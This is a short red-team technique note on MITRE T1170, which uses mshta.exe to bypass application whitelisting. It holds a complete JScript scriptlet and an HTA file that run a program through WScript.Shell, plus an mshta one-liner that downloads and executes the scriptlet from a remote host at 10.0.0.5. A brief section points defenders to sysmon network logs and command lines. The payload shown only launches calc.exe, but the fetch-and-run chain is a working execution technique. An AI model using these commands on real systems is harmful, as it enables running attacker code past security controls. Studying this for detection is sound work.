T1170: MSHTA

MSHTA code execution - bypass application whitelisting.

Execution

Writing a scriptlet file that will launch calc.exe when invoked:

http://10.0.0.5/m.sct
<?XML version="1.0"?>
<scriptlet>
<registration description="Desc" progid="Progid" version="0" classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"></registration>
<public>
<method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[
function Exec() {
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
}
]]>
</script>
</scriptlet>

Invoking the scriptlet file hosted remotely:

# from powershell
/cmd /c mshta.exe javascript:a=(GetObject("script:http://10.0.0.5/m.sct")).Exec();close();

Observations

As expected, calc.exe is spawned by mshta.exe. Worth noting that mhsta and cmd exit almost immediately after invoking the calc.exe:

As a defender, look at sysmon logs for mshta establishing network connections:

Also, suspicious commandlines:

Bonus

The hta file can be invoked like so:

mshta.exe http://10.0.0.5/m.hta

or by navigating to the file itself, launching it and clicking run:

http://10.0.0.5/m.hta
<html>
<head>
<script language="VBScript">
Sub RunProgram
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
End Sub
RunProgram()
</script>
</head>
<body>
Nothing to see here..
</body>
</html>

References